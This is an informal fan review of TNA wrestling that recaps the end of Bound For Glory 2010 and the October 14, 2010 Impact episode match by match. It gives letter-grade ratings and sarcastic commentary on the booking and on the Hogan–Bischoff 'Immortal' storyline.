Foley busts out the tacks and Abyss sets to chokeslam him onto them but he’s not allowed. Down goes Stevie and here’s Daffney to give Foley a freaking Taser. And just to make it more stupid it explodes as Foley jabs him with it. They TOTALLY botch it as Abyss misses his kickout and Foley gets three and Abyss raises his shoulder at what would have been four so the referee says he kicked out anyway.

Crowd totally boos that out of the building as Stevie pulls the referee out when Abyss goes for the pin. Daffney goes through the platform they made earlier to get a HOLY CRAP chant. Stevie tries to beat up Abyss and goes into the tacks for his trouble sans shirt. Chokeslam for Foley and we get the Over the Edge 98 finish as Abyss slams Richards’ hand down for the pin.

Rating: C-. Totally violent but overbooked. Also the botch messed things completely up as it was clearly three and everyone knew it. These matches are fine once in awhile but does it really prove anything? This was a far cry from the Edge or Orton matches and it just didn’t work that well for me. Granted I’m not a fan of hardcore so it’s not my style anyway.

Angle says he’s awesome and that he had AJ beat but the time limit ran out.

Basically Angle stung Morgan along to get his help in winning various matches then screwed him over to make Morgan a ticked off monster that was suddenly awesome. Then he got dropped down to a midcard team with Hernandez for his efforts because Hogan came in and liked Abyss more, but that’s a bit later on. Oh and Morgan more or less cost Angle the title at No Surrender. Oh and Dixie Carter has to say something for no apparent reason other than she’s Dixie Carter.

Matt Morgan vs. Kurt Angle

This is the semi-main event on the show, we have 45 minutes of TV time left, and this is the first standard one on one match on the card. Also this has a fifteen minute time limit. Dude seriously? Say it’s got an hour or something as you know it’s only going fifteen but dude that’s the time limit a TV Title match with PN News and Steve Austin in 1991 would get.

Angle is still the leader of the Main Event Mafia here and has never won at Bound For Glory. The dueling chants begin immediately as Angle, the leader of the top heel stable in the company, is over here. TNA fans even in other cities are annoying. Morgan controls with power early as he’s getting to show off here. He goes to the top and hits about as good of a cross body as you would expect from a guy that big and who doesn’t go to the top that often.

Angle goes for the legs to take down Morgan. Figure four goes on and Morgan’s leg is almost on Angle’s face. Taz actually OFFERS SOME INSIGHT by saying that since Angle’s legs are shorter and Matt’s are longer it’s easier for Angle to get extra leverage. Well gosh, Taz worked a similar style to Angle, so this is almost like…HIM BEING AN EXPERT ON THE SUBJECT!!! WHAT A CONCEPT!

One of the guys from Boys to Men is here. TNA needs to either upgrade their celebrities or not have them acknowledged. Also, PICK A BETTER TIME TO SHOW THEM! You know, like during an entrance, not when Matt breaks a hold. Fall away slam hits Angle and his leg seems fine now. Chokeslam gets two. Hellevator is blocked into Rolling Germans from Angle.

Angle Slam, say it with me, gets two. Straps go down and the cheers go up and there’s the ankle lock. It doesn’t work but Angle counters a powerbomb into the ankle lock. Hellevator gets two. Yeah these finishers are kind of not working so far. Ankle lock is the counter to a tombstone and Morgan gets out again. Big clothesline gets two for Morgan. Loud Morgan sucks chant starts up for no apparent reason.

Morgan goes up and does it slowly which you don’t do against Angle. The running suplex isn’t great but it works. Angle Slam and a Frog Splash of all things (good one too) get two. Taz says this is his evolution into a star. That’s rather amusing. And Angle gets a victory roll for the pin. There was no more build than that. The match just kind of ended. They shake hands after the match with nothing screwy about it.

Rating: B-. Good match but not a classic/career making match like they were looking for I don’t think. The idea was to stretch Angle to a degree where he could barely win and I never got that impression here. It was definitely a solid match but it just never got to the level that they wanted it to I don’t think. You can’t say it failed to make Morgan as Hogan arriving changed everything including Morgan.

TNA World Title: Sting vs. AJ Styles

You’ll see a huge difference in the main event here than you would at most other shows from this company recently. There isn’t much of a story here. AJ was going to leave the business, Sting gave him an awesome pep talk, AJ won the title but felt he owed Sting a title shot and wanted the respect. Basic booking and a match between two guys that are solid in ring wrestlers. What an idea.

Also, how much does it say that in a year AJ has gone from main event to feuding with Tommy Dreamer? This is the awesome AJ as well, as in pre Flair and when he was the best in the world. They shake hands to start us off which is nice to see. In the last three years Sting has been 3-0 at Bound For Glory with three straight world title wins. That’s rather impressive.

Feeling out process to start of course. Long one too as we’re at about 3 minutes of it now. AJ controls early and gets a knee drop for two. Sting sends him to the floor and then holds the ropes open for him. They’re doing a slow build here but there isn’t a ton of time left in the show to do that with really. Sting takes over with a backdrop as that somethow might be the biggest move done so far. It’s not bad mind you, just a different kind of match.

Ah there we go as AJ goes for a big dive off the apron but Sting moves and AJ eats steel. Stinger Splash hits steel also and the guardrail is bent a bit. Sting gets a tombstone for two in the ring. Springboard Forearm (my favorite move in TNA) gets two. A series of counters leads to the Death Drop hitting. Sting’s leg is over AJ but there’s no count. Splash sets up another Death Drop for two.

Scorpion Deathlock goes on and it’s one of the best ones I’ve ever seen Sting do. They slug it out and Sting Hulks Up. We head to the corner and AJ gets a Pele and a springboard splash….for the pin? Uh…yeah I guess he does. That ending was TOTALLY anti-climactic as Sting was making his comeback and going all superhuman and then AJ just beat him. I was really getting into this and then it just ended. Odd.

Rating: B. Solid match that would have been classified as great until the ending which just did not work. AJ should have gotten the clean pin and he did but this match was BEGGING for another 5-8 minutes. I don’t get why they just ended the show that fast as we have five minutes left in the video so it’s not like they were lacking for time. I don’t get it but the match we got was rather good.

AJ calls Sting back to the ring (after the first microphone doesn’t work) and says this is his time. The fans chant please don’t go as this was possibly his retirement match which obviously didn’t happen but the idea was nice anyway. Also they never said it was his retirement match either so it’s in no way false advertisement whatsoever.

Sting says this is about AJ but if he’s going to lose he’s glad he lost to someone like AJ, putting him over huge. The fans chant one more year and Sting says he’s not sure if he was going to retire or not and says this isn’t kayfabe but that some of the stuff fans have said to him have made him wanting to stay forever. And then his music plays as I guess we’re out of time? Odd ending where things seemed rush.

Overall Rating: B. I rather liked this show actually and thought it came off pretty well. This is another excellent example of what TNA is capable of when they just go out there and wrestle. Hogan and Bischoff coming in have really hurt this company’s product as instead of just in ring work where this show is strong we now have everything being about swerves and angles with wrestling being a far backseat.

 

I’d love watching Impact if it was stuff like this, but it’s changed for the worse. Hey though, we have Hogan now so everything is all well and good right? Good show this year though.

 

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Impact
Date: October 14, 2010
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Taz
Episode Title: THEY Have Arrived!!!

Well this is it. After four days of waiting we can finally get to the explanation from Jeff as to WHY he did what he did. This is something that is very important because you have the entire THEY angle riding on it. The importance of this show can’t be overblown as we begin the next chapter in TNA’s history.

The opening is likely to be about Jeff and THEY as well as set up the fairly obvious RVD vs. Jeff match, although I could see them postponing that one if need be. I’d also be interested in knowing how much actual wrestling we’ll have tonight but we’ll see. Let’s get to it.

We of course open with the recap of the ending of Bound For Glory.

Dixie’s attorney is here and as everyone thought we’re told that Dixie signed the contracts but they weren’t the ones she thought they were.

Hogan (still on crutches) and Bischoff are here to a MASSIVE pyro display. Of course Hogan is acting just like he did as a face. Tenay explains that Hogan and Bischoff now have the majority share of TNA….despite the fact that the attorney never said that.

Naturally Hogan gets a big face reaction with like two signs against him in the whole audience. Oh wait three fat chicks are booing. Well there’s a Hogan sucks chant so there’s something I suppose. Hogan wants Dixie here now. Apparently she promised him everything, much like Ted Turner did in 96. Hogan gets a text or something as he has his phone out and is messing with it.

Here we go: the explanation. It started with Abyss apparently and the Hall of Fame ring. Bischoff and Hogan knew why he randomly turned on Hogan. We bring him out and Hogan declares Abyss his son. THEY’RE HERE! Ok now that my pizzas are here we can get back. What did you think I meant by they?

None of the fans believed Abyss but they are now in control. The fans want RVD. Abyss follows them as Hogan and Bischoff’s soldier now. Hogan declares that Abyss with live forever and is now immortal. I think The Immortals might be the name. Eric brings out Jarrett. Wait was there an actual explanation in there for abyss? If there was I missed it.

Yeah this was no real surprise: he wanted control of his company back. I think that was the easiest of all to understand. And here’s FOURTUNE! Ok this just got good.

Flair talks to Hogan and says that Fourtune runs this company, not Hogan. LOUD Fourtune chant. One of them have to leave apparently. Hogan suggest him vs. Flair and it’s…..not on as they hug. Flair bows down to Hogan and it’s a massive Hogan orgy more or less. The explanation here makes sense though as Fourtune was mad at Dixie for bringing in EV. That actually makes sense. We get a reference to Flair’s five former ex wives and here comes Jeff!

No face paint here either. The fans think Jeff sold out. You can barely see the ropes with so many guys in there with him. He didn’t sell out but sold in. He blames the fans and doesn’t care about popularity. The fans drove him to this because he did everything with all those injuries for what?

And now it’s on to RVD. He’s the whole F’N reason Abyss took RVD out because RVD had to be gone for this to work. They are Immortal. Sting and Nash are watching in the back. Eric and Hogan offer them spots on the team. We go to a break 22 minutes into the show with them coming to the ring.

Security escorts Dixie….somewhere.

Nash and Sting come out and Sting is in street clothes which isn’t something you see that often. Tenay is already annoying. Eric says this is about money and all that jazz. Nash whispers to Sting and says this is perfect for him because it’s always been about money and him in his career. He’s gotten wiser though and quotes the Bible of all things, saying gray hair is a sign of wisdom. He’s passing on the money and if THEY want to run the company into the ground, they can do it without him. I’m surprised.

Sting says this isn’t what he came here for and says he’s here because he loves TNA. He’s shouting the whole time mind you. Sting points to Hogan, Bischoff and Flair (I think) and says this is a no win situation, turning them down. Allegedly both of these guys are leaving TNA with Nash being permanent and Sting possibly being permanent. Bischoff says they can come back anytime. Hogan’s music plays the segment to an end at 9:32.

We cut to the back where Sting and Nash leave but Pope isn’t happy with it. They offer him a place in the car out with them but he’s staying to fight the fight which they’re cool with. Dixie comes up to them and says they can’t leave her. Sting says what everyone thought: if she had listened this wouldn’t be happening. She says he was cryptic. Dixie, he sent crows down at the NWO to demand a title match one night. He’s a weird guy.

Hogan and Bischoff come up to Dixie and she slaps the heck out of Bischoff. She tells Hogan to look her in the eye and tell her he didn’t screw her. He says we’ll talk about this in HIS office as we go to another break.

In the office we have MORE talking. Bischoff smokes a cigar and Hogan flat out tells her that he screwed her out of the company. This is a big Hogan ego trip of course. Hogan and Bischoff both say this is their company. Hogan has had enough and so has Dixie. She tells her security guards to get rid of them but they work for Hogan too. Dixie’s husband SURGE gets knocked out and we take ANOTHER break.

Some hot chick in a BMW shows up. And we’re just not going to talk about this at all. Ok then. Ah ok it’s the Jersey Short chick.

Madison comes out with a referee as I’m guessing this is going to be about Tara. She yells about how Tara has HER title. She wants a match RIGHT NOW. Here’s Tara, looking GOOD. Madison says they had a deal and apparently we’re getting a match….at 9:50pm.

Knockouts Title: Tara vs. Madison Rayne

And Tara lays down so Madison can pin her. I kid you not.

Madison celebrates and here’s Mickie to talk some more. She wants a title shot RIGHT NOW but Madison sends Tara after her. Mickie sends her running and stares her down.

J-Woww from Jersey Shore comes in and talks to the Beautiful People. Apparently she’s an honorary BP tonight.

Back from break and they’re still looking for Cookie. This results in Eric Young freaking out about J-Woww. Jordan comes up and nothing of note happens.

And here’s Angle for MORE talking. No music, no intro, nothing like that. He talks about how he’s all banged up but wants to know why Hogan and Bischoff screwed him before he officially retires. Angle says what we all expected him to say: he didn’t win but he didn’t get pinned either. Cue Jarrett’s music and here he is.

Jarrett more or less calls bull on what Angle is saying. He takes a jab at Angle being an ex-husband (the real meaning being that Jarrett literally married Angle’s wife and not in kayfabe). Angle says he put TNA on the map. Uh, not quite Kurt. He says Jarrett held down everyone but couldn’t hold Angle down.

Kurt Angle, the man that held the tag titles, X-Division and World titles at the same time is talking about holding others down. Jarrett says taking Angle’s career meant more than destroying his life. Angle goes for him and the security guards take him down and handcuff him. The beatdown is on. Uh, Joe anyone?

TAZ of all people comes out of the broadcast booth and calls off Jarrett and says that he has a censored up (censored of course) neck. Old school Taz chant takes us to another break.

70 minutes in, 6 seconds of “wrestling.”

Joe talks (shocking isn’t it) about Jarrett on a tape from Monday, still in Daytona. He’s coming for Jarrett of course.

GOOD NIGHT IT’S A MATCH! And it’s Abyss. Oh joy.

Abyss vs. Samoa Joe

Yeah they’re officially called Immortal. Well ok then. Joe beats the tar out of him first and beats him into the corner. Chokeslam takes him down and Joe is in trouble. He goes to get a chair but Joe hits a suicide dive into the chair which more or less didn’t hit Abyss’s head at all but he stays down anyway. Sure why not? Bell to the head and we’re done in two minutes. No rating. RVD comes down for the save.

Wait, why didn’t Joe come down and massacre Jeff like 5 minutes ago?

Hey look RVD wants to talk. It’s about Hardy which makes sense. Jeff pops up on the screen and says it was an illusion as he brought RVD as close to him as he could and then destroyed him. Well ok so he told Abyss to destroy him. Hardy says he’s the Anti-Christ of wrestling. WOW.

Bischoff comes out and says if RVD wants Hardy at Turning Point he has to beat Anderson tonight, winner gets the shot.

Back from a break Tessmacher is propositioned by Bischoff for “a meeting later at his place”. He snaps on her and calls her easy. Bischoff knows about Nash and Pope apparently. She’s fired from the Knockouts authority job and can either wrestle or leave. Anderson comes up and declares Bischoff a douchebag and squeezes his hand really hard saying that Bischoff won’t win this war.

D’Angeol Dinero vs. Fourtune

Yep it’s 1 vs. 5 here. Morgan and Flair aren’t in this. Total dominance here of course but it’s better than more talking I suppose. AJ misses the Pele and kicks Kaz which Pope gets two off of. DWI hits him and Kaz gets the pin. Another short match so no grade.

Ad for Turning Point where Angle is named specifically as being there. Nice one guys.

Here’s The Shore to get on my nerves and be booed out of the building. They point out that this is on at the same time as Jersey Shore because that’s how TNA works. Cue up the Beautiful People and J-Woww. Cookie and J-Woww argue as usual and Cookie says go back to the hole you came from. You know, the same one she’s from. Catfight, Shore bails. 15k for a minute long segment and an EY joke.

We recap things to kill time so we can run over into ReAction as always.

Mr. Anderson vs. Rob Van Dam

No mic time for Anderson here as he’s ticked. The bell rings at about 11pm as we just HAD to have a commercial as RVD made his entrance. Make that 11:01. Naturally to see the main event of Impact you have to watch ReAction. So would that mean the winner got the win on Impact or ReAction? Winner gets Hardy at the PPV mind you.

Basic stuff to start as Van Dam hits a moonsault off the apron to kick Anderson in the head, which might have been how he injured his head and Impact is OVER! And now REACTION has started and we didn’t miss a thing and it serves no purpose but screw that who cares? If you want to see the Impact main event, don’t watch Impact!

After I have a psychotic episode over the stupidity of some of the things this company does, it’s still a boring match. Rolling Thunder is countered into a fireman’s carry and the split legged moonsault gets two. Five Star eats knees and both guys are down. And here’s Bischoff to screw us over. He tells the referee to come with him and here’s Hardy, holding his ribs with a chair.

Chair to RVD. Chair to Anderson. Pillmanizer on the arm of Anderson. Anderson curses a lot and rolls to the floor. That’s your ending by the way.

Rating: D+. Match was pretty weak due to the crowd knowing the ridiculous ending was coming. This match never really got off the ground or anything but it could have been worse. The guys knew the ending was coming and clearly didn’t get going until the very end as they were just going through the motions. Nothing bad really, but nothing particularly good.

Overall Rating: D+. This is a VERY subjective grade to put it mildly. This show can be looked at their get out of jail free card. It was the first show after their biggest show ever and a huge angle. The show as a stand alone show was atrocious. However, this was a show where a lot of talking was actually required.

The explanations that they gave needed to be done. I can understand that and I’m mostly ok with it. However there comes a point where you need some wrestling to get you through a show. Having the show revolve around one angle is fine and makes sense, but you really need some wrestling to go with it. As was said in the LD, even a 4 minute throw away match would have helped tremendously. One or two of those thrown in somewhere and this show goes WAY up.

As for doing what needed to be done tonight, they got a lot out of the way. Jarrett, Dixie, Hogan and Bischoff are all explained. Nash and Sting are written off TV, Pope has a new thing to do, Anderson’s loyalty is pretty clear and RVD and Joe will fight on their own. Hardy was explained but to say it felt rushed is an understatement. Abyss wasn’t explained at all but did we really need to hear about him? All you really get from that is the beginning of the story and we can live without that.

This show did explain some things and kind of got things going for the angle, but at the same time this is showing signs of turning into one massive soap opera much like the NWO angle. The problem with that is back then you had some amazing matches on the side to compliment the drama. You’re not getting that in the first week.

That being said, it’s the first week and I can understand a ton of talking here. However if this is now the status quo, there are REAL problems for this company. This was kind of a disappointment but to say it was horrible isn’t fair. They got through a lot tonight, but what scares me are the weeks to come. There has to be some wrestling out there, and I’m not seeing it here so far. I’m neither thrilled nor optimistic, but I’m also not convinced this is bad. Definitely interested in next week’s offering, but I’ll be less lenient on it to say the least.

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